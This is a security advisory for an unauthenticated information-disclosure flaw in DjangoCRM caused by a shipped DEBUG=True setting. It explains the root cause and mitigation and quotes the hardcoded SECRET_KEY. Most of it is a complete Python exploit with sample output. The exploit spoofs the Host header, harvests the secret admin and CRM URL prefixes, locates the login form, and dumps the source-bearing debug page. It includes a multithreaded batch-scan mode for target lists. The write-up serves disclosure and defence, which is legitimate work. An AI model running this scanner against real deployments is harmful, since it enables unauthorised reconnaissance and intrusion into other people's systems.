#Summary
CVE-2026-71238 is an unauthenticated information disclosure in DjangoCRM (django-crm) versions 0.91 through 2.4.0. The application ships webcrm/settings.py with DEBUG = True and a hardcoded Django SECRET_KEY, both committed to the public repository. The debug setting causes Django's error handlers to render the application's URLconf, application source code, local variables, and framework versions to any anonymous attacker. The hardcoded key itself is a serious defect but does not grant authentication in the shipped configuration; the real remote impact is the debug disclosure.
CVSS 9.1 CRITICAL (NVD). Note: this score reflects an account-takeover claim that does not reproduce in the shipped configuration; the verified impact is unauthenticated information disclosure.
Status: No patch exists. main and all released versions 0.91 through 2.4.0 are affected.
#Affected versions
- DjangoCRM
0.91through2.4.0(inclusive) - Vulnerable by default: the shipped
webcrm/settings.pycontainsDEBUG = Trueand the hardcoded key without requiring any configuration changes - Affected if not overridden: deployers who created the documented
webcrm/local_settings.pyoverride AND setDEBUG = Falseare not affected; the quick-start path (python manage.py setupdata && python manage.py runserver) runs the vulnerable settings verbatim - v0.90 is not affected (it shipped with
DEBUG = Falseand placeholder SECRET_KEY) - No patched version exists (as of 2026-08-06)
#Root cause analysis
#The vulnerable configuration
Three secrets are hardcoded in the committed file webcrm/settings.py:
# Line 21 - hardcoded Django signing key
SECRET_KEY = 'j1c=6$s-dh#$ywt@(q4cm=j&0c*!0x!e-qm6k1%yoliec(15tn'
# Line 60 - debug mode enabled
DEBUG = True
# Lines 199-201 - access control by obscurity
SECRET_CRM_PREFIX = '123/'
SECRET_ADMIN_PREFIX = '456-admin/'
SECRET_LOGIN_PREFIX = '789-login/'The application's entire access-control strategy depends on keeping these prefixes hidden. They are the only authentication gate:
# webcrm/urls.py
urlpatterns += i18n_patterns(
path(settings.SECRET_CRM_PREFIX, include('common.urls')),
path(settings.SECRET_ADMIN_PREFIX, admin.site.urls),
)
# common/utils/admin_redirect_middleware.py
if settings.SECRET_ADMIN_PREFIX in request.path and not request.user.is_superuser:
new_path = request.path.replace(settings.SECRET_ADMIN_PREFIX, settings.SECRET_CRM_PREFIX)
return HttpResponseRedirect(new_path)#How the leak happens
With DEBUG = True, Django's technical_404_response and technical_500_response handlers render debug information to the browser without authentication checks.
Technical 404 disclosure (URLconf): When a request matches no URL pattern, Django lists all available patterns, including the mounted prefixes. Because the CRM and admin routes are nested inside i18n_patterns, the secret prefixes appear in the listing once a valid language prefix like /en/ is included in the path. An attacker requesting /en/zzz-nonexistent receives Django's technical error page listing all nested patterns, including the supposedly-secret 123/ and 456-admin/ prefixes.
This defeats the obscurity control even for a deployer who replaced the defaults with unguessable values, because the live prefix values are printed to any anonymous requester.
Technical 500 disclosure (source and traceback): The endpoint /voip/get-callback/ is unauthenticated; its access decorators are commented out:
# voip/urls.py
# from django.contrib.auth.decorators import login_required
# from django.contrib.admin.views.decorators import staff_member_required
from django.urls import path
urlpatterns = [
path('get-callback/', ConnectionView.as_view(), name='get_callback'),The view passes AnonymousUser into an integer field lookup, raising TypeError. Django's technical error handler returns a ~140 KB debug page containing the full traceback, application source files, local variables of every frame, absolute filesystem paths, and the Django and Python versions.
#The misleading SECRET_KEY claim
The hardcoded key is genuine and a serious defect that should be rotated immediately. However, the advisory's claim that it enables account takeover does not reproduce:
- Sessions: Django's default
SESSION_ENGINEisdjango.contrib.sessions.backends.db. Thesessionidcookie is an opaque 32-character random string that is a lookup key into the database; nothing in the cookie is signed. Knowing the signing key contributes nothing. - CSRF tokens: Since Django 4.0, CSRF tokens are per-response masked random secrets, not HMACs over the secret key.
- No signing consumers: The codebase contains zero uses of
django.core.signing,Signer,salted_hmac,set_signed_cookieorurlsafe_base64. - Masked on debug pages: Django's
SafeExceptionReporterFiltermasks all settings matchingKEY|PASS|SECRET|TOKEN|SIGNATURE|API, so the key literal never appears in the 500 page.
Session forgery was tested against both the default and signed_cookies backends; forgery succeeded only when the victim's stored password hash was supplied, which presupposes database read access that the attack is supposed to grant.
#Patch analysis
There is no upstream patch. The vulnerability was introduced in commit f5e9a6e (2024-07-27), which converted the placeholder configuration into a working development default:
-SECRET_KEY = '<specify key>'
+SECRET_KEY = 'j1c=6$s-dh#$ywt@(q4cm=j&0c*!0x!e-qm6k1%yoliec(15tn'
-DEBUG = False
+DEBUG = TrueAll tags from v0.91 onward contain this commit. The only tested mitigation is the documented override: creating webcrm/local_settings.py with from .settings import * and setting DEBUG = False, then specifying DJANGO_SETTINGS_MODULE=webcrm.local_settings at runtime. However, this mitigation is not mentioned in the quick-start installation guide, so most deployments run the vulnerable defaults.
#Proof of concept
#exploit.py - DjangoCRM Debug Information Disclosure PoC
#!/usr/bin/env python3
"""
CVE-2026-71238 - DjangoCRM (django-crm) unauthenticated debug information disclosure
Affected: DjangoCRM 0.91 through 2.4.0 (default committed webcrm/settings.py, DEBUG=True)
Type: Information disclosure (CWE-489 / CWE-215; NVD labels it auth bypass via CWE-798)
Root cause:
django-crm ships webcrm/settings.py with DEBUG=True and a set of "secret" URL
prefixes (SECRET_CRM_PREFIX / SECRET_ADMIN_PREFIX) that are the application's only
access-control-by-obscurity gate for the admin and CRM sites. With DEBUG on, Django's
technical_404_response renders the resolved URLconf on any unmatched path, printing
those live prefixes to any anonymous requester - defeating the obscurity control even
when the deployer replaced the defaults with unguessable values. A second unauthenticated
endpoint, /voip/get-callback/, raises TypeError and returns a full technical_500 debug
page (application source, frame locals, absolute paths, framework/interpreter versions).
Note on the advisory's account-takeover claim: it does not reproduce in the shipped
configuration. Sessions are DB-backed (nothing in the cookie is signed), CSRF tokens are
random since Django 4.0, no django.core.signing consumer exists, and the 500 page masks
SECRET_KEY/passwords. This exploit targets the verified, remotely observable primitive:
the disclosure, chained to locate the (possibly re-prefixed) authentication surface.
Usage:
python exploit.py --host 127.0.0.1 --port 8000
python exploit.py --host http://crm.corp.com:8000
python exploit.py --host https://crm.corp.com
python exploit.py --list targets.txt --workers 20
"""
import argparse
import re
import sys
from html import unescape
from urllib.parse import urlparse
try:
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
except ImportError:
print("This exploit requires the 'requests' library: pip install requests")
sys.exit(2)
CVE_ID = "CVE-2026-71238"
VULN_TYPE = "Info Disclosure"
# ALLOWED_HOSTS in the shipped settings is ['localhost', '127.0.0.1'] and is enforced
# even with DEBUG=True. Any other Host returns 400 before a view runs. We first try the
# target's own Host, then fall back to these so both stock and re-configured deployments
# are covered.
FALLBACK_HOSTS = ["localhost", "127.0.0.1"]
# A path that will never match a real route but does carry a valid i18n language prefix,
# which is mandatory for the nested (secret-prefix) portion of the URLconf to render.
PROBE_404_PATH = "/en/alim-nonexistent-zzz"
PROBE_500_PATH = "/voip/get-callback/"
def header(host, port):
print(f"\n{'='*60}")
print(f" ALIM EXPLOIT {CVE_ID}")
print(f" Type: {VULN_TYPE} | Target: {host}:{port}")
print(f"{'='*60}\n")
def step(n, msg):
print(f"[STEP {n}] {msg}")
def section(label, content):
print(f"\n--- {label} ---")
print(str(content).strip())
print("---\n")
def done(success, evidence):
print(f"\n{'='*60}")
print(f" RESULT : {'SUCCESS' if success else 'FAILURE'}")
print(f" EVIDENCE: {evidence}")
print(f"{'='*60}\n")
sys.exit(0 if success else 1)
# --------------------------------------------------------------------------- #
# HTTP helpers
# --------------------------------------------------------------------------- #
def _base_url(host, port, use_tls):
scheme = "https" if use_tls else "http"
if (use_tls and port == 443) or (not use_tls and port == 80):
return f"{scheme}://{host}"
return f"{scheme}://{host}:{port}"
def _get(host, port, use_tls, path, timeout=15, allow_redirects=False):
"""
GET path, transparently working around ALLOWED_HOSTS. Returns a requests.Response.
If the target rejects our Host with 400, retry forcing localhost / 127.0.0.1.
"""
url = _base_url(host, port, use_tls) + path
resp = requests.get(url, timeout=timeout, verify=False,
allow_redirects=allow_redirects)
if resp.status_code == 400:
for h in FALLBACK_HOSTS:
resp = requests.get(url, timeout=timeout, verify=False,
allow_redirects=allow_redirects,
headers={"Host": h})
if resp.status_code != 400:
break
return resp
def _parse_prefixes(body):
"""
Given a Django technical_404 body, recover the nested (post-language) URL prefixes.
Returns (crm_prefix, admin_prefix, all_prefixes) where crm_prefix is the most
frequently mounted nested prefix (the CRM site) and admin_prefix is a distinct one
(the admin site). Any element may be None if it could not be determined.
"""
if "Django tried these URL patterns" not in body:
return None, None, []
text = unescape(body)
pairs = re.findall(
r"<code>\s*([A-Za-z]{2}(?:-[A-Za-z]{2})?/)\s*</code>\s*"
r"<code>\s*([^<\s][^<]*?)\s*</code>",
text,
)
counts = {}
order = []
for _lang, nested in pairs:
nested = nested.strip()
if not nested:
continue
if nested not in counts:
counts[nested] = 0
order.append(nested)
counts[nested] += 1
if not order:
return None, None, []
ranked = sorted(order, key=lambda p: (-counts[p], order.index(p)))
crm = ranked[0]
admin = None
for p in ranked[1:]:
admin = p
break
return crm, admin, order
def _parse_500(body):
"""Extract the headline fields from a Django technical_500 debug page."""
text = body
fields = {}
for key in ("Exception Type", "Exception Value", "Exception Location",
"Django Version", "Python Version"):
m = re.search(r"<th[^>]*>%s:</th>\s*<td>(.*?)</td>" % re.escape(key),
text, re.S)
if m:
fields[key] = unescape(re.sub(r"<[^>]+>", "", m.group(1))).strip()
frame_files = re.findall(r'<code class="fname">([^<]+)</code>', text)
return fields, frame_files
# --------------------------------------------------------------------------- #
# Core exploitation
# --------------------------------------------------------------------------- #
def _try_exploit(host, port, use_tls, path="/"):
"""
Silent probe for scan mode. Returns (success, evidence). Never prints or exits.
Success = the technical_404 page leaks the nested URLconf prefixes.
"""
try:
resp = _get(host, port, use_tls, PROBE_404_PATH)
except Exception as e:
return False, f"unreachable ({e.__class__.__name__})"
if resp.status_code == 400:
return False, "HTTP 400 - ALLOWED_HOSTS rejected every Host we tried"
body = resp.text
if "Django tried these URL patterns" not in body:
return False, "no debug 404 (DEBUG=False or not django-crm) - likely patched"
crm, admin, allp = _parse_prefixes(body)
if not allp:
return False, "debug 404 present but no nested prefixes leaked"
ev = f"URLconf leaked; CRM prefix '{crm}'"
if admin:
ev += f", admin prefix '{admin}'"
return True, ev
def exploit(host, port, use_tls, path="/"):
header(host, port)
# STEP 1: technical_404 URLconf disclosure
step(1, f"Requesting a bogus i18n path to dump the URLconf ({PROBE_404_PATH})")
try:
r404 = _get(host, port, use_tls, PROBE_404_PATH)
except Exception as e:
done(False, f"target unreachable: {e.__class__.__name__}: {e}")
if r404.status_code == 400:
done(False, "HTTP 400 for every Host tried - ALLOWED_HOSTS blocked the probe "
"(harness/Host issue, not proof of patching)")
body404 = r404.text
if "Django tried these URL patterns" not in body404:
section("SERVER RESPONSE (first 400 bytes)", body404[:400])
done(False, f"HTTP {r404.status_code} with no technical-404 URLconf listing - "
"DEBUG is False or this is not django-crm (target not vulnerable)")
crm, admin, allp = _parse_prefixes(body404)
m = re.search(r"(Django tried these URL patterns.*?)</ol>", body404, re.S)
listing = unescape(re.sub(r"\s+", " ", re.sub(r"<[^>]+>", " ", m.group(1)))).strip() if m else "(unparsed)"
section("LEAKED URLCONF (HTTP %d)" % r404.status_code, listing[:1200])
print(f" -> recovered CRM prefix : {crm}")
print(f" -> recovered admin prefix : {admin}")
print(f" -> all nested prefixes : {', '.join(allp)}\n")
# STEP 2: chain the leak to locate the authentication surface
login_evidence = None
if crm:
step(2, f"Following the recovered CRM prefix /en/{crm} to its login form")
try:
rlogin = _get(host, port, use_tls, f"/en/{crm}", allow_redirects=True)
has_csrf = "csrfmiddlewaretoken" in rlogin.text
final = rlogin.url
if rlogin.status_code == 200 and has_csrf:
login_evidence = final
section("AUTHENTICATION SURFACE LOCATED",
f"GET /en/{crm} -> {final}\n"
f"HTTP {rlogin.status_code}, CSRF-bearing login form present "
f"(csrfmiddlewaretoken found).")
else:
section("AUTHENTICATION SURFACE",
f"GET /en/{crm} -> {final} (HTTP {rlogin.status_code}, "
f"csrf={'yes' if has_csrf else 'no'})")
except Exception as e:
print(f" login-surface probe failed: {e.__class__.__name__}: {e}\n")
else:
step(2, "No CRM prefix recovered; skipping login-surface chain")
# STEP 3: technical_500 source/traceback disclosure
step(3, f"Triggering an unauthenticated exception ({PROBE_500_PATH}) for the 500 debug page")
fields = {}
frame_files = []
try:
r500 = _get(host, port, use_tls, PROBE_500_PATH)
if r500.status_code == 500 and "Exception Type:" in r500.text:
fields, frame_files = _parse_500(r500.text)
app_frames = [f for f in frame_files if "site-packages" not in f]
summary = "\n".join(f"{k}: {v}" for k, v in fields.items())
summary += "\n\nApplication source frames disclosed:\n " + \
"\n ".join(app_frames[:8] if app_frames else ["(none parsed)"])
summary += f"\n\nTotal traceback frames with file paths: {len(frame_files)}"
section("LEAKED 500 DEBUG PAGE (HTTP %d, %d bytes)" %
(r500.status_code, len(r500.content)), summary)
else:
print(f" /voip/get-callback/ returned HTTP {r500.status_code} "
f"(no 500 debug page); relying on the 404 disclosure.\n")
except Exception as e:
print(f" 500 probe failed: {e.__class__.__name__}: {e}\n")
# verdict
evidence_bits = []
if allp:
evidence_bits.append("URLconf prefixes leaked (" + ", ".join(allp) + ")")
if login_evidence:
evidence_bits.append(f"login surface located at {login_evidence}")
if fields.get("Exception Type"):
evidence_bits.append(
"500 debug page leaked %s / %s / %s" % (
fields.get("Exception Type", "?"),
fields.get("Django Version", "?"),
fields.get("Python Version", "?"),
))
done(True, "; ".join(evidence_bits) if evidence_bits
else "unauthenticated debug disclosure confirmed")
def _parse_target(line, default_port, default_path="/"):
line = line.strip()
if not line or line.startswith("#"):
return None
if line.startswith(("http://", "https://")):
p = urlparse(line)
tls = p.scheme == "https"
path = p.path if (p.path and p.path not in ("", "/")) else default_path
return p.hostname, p.port or (443 if tls else default_port), tls, path
if ":" in line:
parts = line.rsplit(":", 1)
try:
port = int(parts[1])
return parts[0], port, port in (443, 8443), default_path
except ValueError:
pass
return line, default_port, default_port in (443, 8443), default_path
def scan(targets_file, default_port, workers=10):
import concurrent.futures
with open(targets_file) as f:
targets = [_parse_target(l, default_port) for l in f]
targets = [t for t in targets if t is not None]
print(f"\n{'='*60}")
print(f" {CVE_ID} - Batch Scan ({len(targets)} targets, {workers} workers)")
print(f"{'='*60}\n")
success_count = 0
def probe(t):
host, port, use_tls, path = t
label = f"{'https' if use_tls else 'http'}://{host}:{port}"
ok, evidence = _try_exploit(host, port, use_tls, path)
return label, ok, evidence
with concurrent.futures.ThreadPoolExecutor(max_workers=workers) as ex:
futures = {ex.submit(probe, t): t for t in targets}
for fut in concurrent.futures.as_completed(futures):
label, ok, evidence = fut.result()
print(f" {'[+]' if ok else '[-]'} {label} - "
f"{'Exploited' if ok else 'Not vulnerable'}: {evidence}")
if ok:
success_count += 1
total = len(targets)
print(f"\n{'='*60}")
print(f" SCAN COMPLETE {success_count} exploited / "
f"{total - success_count} not vulnerable ({total} total)")
print(f"{'='*60}\n")
sys.exit(0 if success_count > 0 else 1)
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=f"{CVE_ID} exploit PoC")
target_grp = parser.add_mutually_exclusive_group(required=True)
target_grp.add_argument("--host", help="Target: hostname, IP, or full URL "
"(e.g. http://host:8000)")
target_grp.add_argument("--list", metavar="FILE",
help="File with one target per line for batch scan")
parser.add_argument("--port", type=int, default=8000,
help="Default port (default: 8000)")
parser.add_argument("--workers", type=int, default=10,
help="Threads for --list mode (default: 10)")
tls_grp = parser.add_mutually_exclusive_group()
tls_grp.add_argument("--tls", action="store_true", help="Force TLS")
tls_grp.add_argument("--no-tls", action="store_true", help="Force plaintext")
args = parser.parse_args()
if args.list:
scan(args.list, default_port=args.port, workers=args.workers)
else:
parsed = _parse_target(args.host, args.port)
host, port, use_tls, path = parsed if parsed else (args.host, args.port, False, "/")
if args.tls:
use_tls = True
if args.no_tls:
use_tls = False
exploit(host, port, use_tls, path)#Usage
# Single target
python3 exploit.py --host 127.0.0.1 --port 8000
# Target with TLS
python3 exploit.py --host https://crm.corp.com
# Batch scan
python3 exploit.py --list targets.txt --workers 20#Expected output (vulnerable)
============================================================
ALIM EXPLOIT CVE-2026-71238
Type: Info Disclosure | Target: 127.0.0.1:8000
============================================================
[STEP 1] Requesting a bogus i18n path to dump the URLconf (/en/alim-nonexistent-zzz)
--- LEAKED URLCONF (HTTP 404) ---
Django tried these URL patterns, in this order: favicon.ico voip/ OAuth-2/authorize/
[name='get_refresh_token'] ^media/(?P<path>.*)$ en/ 123/ en/ 456-admin/
---
-> recovered CRM prefix : 123/
-> recovered admin prefix : 456-admin/
-> all nested prefixes : 123/, 456-admin/
[STEP 2] Following the recovered CRM prefix /en/123/ to its login form
--- AUTHENTICATION SURFACE LOCATED ---
GET /en/123/ -> http://127.0.0.1:8000/en/123/789-login/?next=/en/123/
HTTP 200, CSRF-bearing login form present (csrfmiddlewaretoken found).
---
[STEP 3] Triggering an unauthenticated exception (/voip/get-callback/) for the 500 debug page
--- LEAKED 500 DEBUG PAGE (HTTP 500, 139864 bytes) ---
Exception Type: TypeError
Exception Value: Field 'id' expected a number but got <SimpleLazyObject: <django.contrib.auth.models.AnonymousUser object at 0x...>>.
Exception Location: /usr/local/lib/python3.12/site-packages/django/db/models/fields/__init__.py, line 2130, in get_prep_value
Django Version: 6.0.5
Python Version: 3.12.13
Application source frames disclosed:
/opt/django-crm/voip/views/callback.py
/opt/django-crm/voip/views/callback.py
Total traceback frames with file paths: 18
---
============================================================
RESULT : SUCCESS
EVIDENCE: URLconf prefixes leaked (123/, 456-admin/); login surface located at http://127.0.0.1:8000/en/123/789-login/?next=/en/123/; 500 debug page leaked TypeError / 6.0.5 / 3.12.13
============================================================#Expected output (patched)
============================================================
ALIM EXPLOIT CVE-2026-71238
Type: Info Disclosure | Target: 127.0.0.1:8001
============================================================
[STEP 1] Requesting a bogus i18n path to dump the URLconf (/en/alim-nonexistent-zzz)
--- SERVER RESPONSE (first 400 bytes) ---
<!doctype html>
<html lang="en">
<head>
<title>Not Found</title>
</head>
<body>
<h1>Not Found</h1><p>The requested resource was not found on this server.</p>
</body>
</html>
---
============================================================
RESULT : FAILURE
EVIDENCE: HTTP 404 with no technical-404 URLconf listing - DEBUG is False or this is not django-crm (target not vulnerable)
============================================================#Exploitation notes
#Preconditions
- Network access to the target running DjangoCRM 0.91-2.4.0 with the shipped
webcrm/settings.py - The target must have
DEBUG = True(default in vulnerable versions) - The target must accept a
Hostheader matchinglocalhostor127.0.0.1(enforced byALLOWED_HOSTS) - For full URLconf disclosure, a valid language prefix (e.g.,
/en/) must be included in the URL
#Reliability
The exploit is highly reliable. It depends on Django's error handlers, which are built into the framework. The URLconf disclosure happens on every 404 request to a path prefixed with a valid i18n language code. The 500 page is triggered by an unauthenticated endpoint that unconditionally raises an exception.
#Impact
What an attacker learns:
- The exact URL prefixes used to access the admin and CRM sites (defeating access-control-by-obscurity)
- Full source code of vulnerable modules (e.g.,
voip/views/callback.py) - Local variables and function arguments for every frame in the traceback
- Absolute filesystem paths and application structure
- Django and Python version numbers
- Database error details (if an exception occurs on a database operation)
What an attacker cannot do (in the shipped configuration):
- Forge a valid session cookie (sessions are database-backed, not signed)
- Forge a CSRF token (random, not key-derived)
- Forge a password-reset token (requires the stored password hash)
The hardcoded SECRET_KEY becomes a serious account-takeover vector if a deployer switches to the non-default SESSION_ENGINE = 'django.contrib.sessions.backends.signed_cookies', but this is not the default configuration.
#Chaining potential
This CVE chains well with other vulnerabilities discoverable through the debug disclosure:
- Source code exposure enables detection of logic bugs, SQL injection, XXE, or authentication bypasses in the revealed application code
- Exception handling may trigger errors on specific inputs, revealing more stack traces and internal data
- Structural disclosure (file paths, module names) helps an attacker understand the application architecture and locate other attack surfaces
- Version enumeration (Django 6.0.5, Python 3.12.13) allows targeting of known vulnerabilities in those components
#Mitigation
The upstream mitigation is documented in docs/installation_and_configuration_guide.md:
- Create
webcrm/local_settings.py:
from .settings import *
# Override unsafe defaults
from django.core.management.utils import get_random_secret_key
SECRET_KEY = get_random_secret_key()
DEBUG = False- Run with
DJANGO_SETTINGS_MODULE=webcrm.local_settings:
DJANGO_SETTINGS_MODULE=webcrm.local_settings python manage.py runserverHowever, this mitigation is optional and not enforced by the quick-start guide, so most installations remain vulnerable.
#References
- CVE: CVE-2026-71238
- GitHub: DjangoCRM/django-crm
- Commit (intro): f5e9a6e - "The default settings were set to run the project on the development server" (2024-07-27)
- GHSA: GHSA-qc6p-hvpv-4f8h (unreviewed, mirrors NVD)
- NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-71238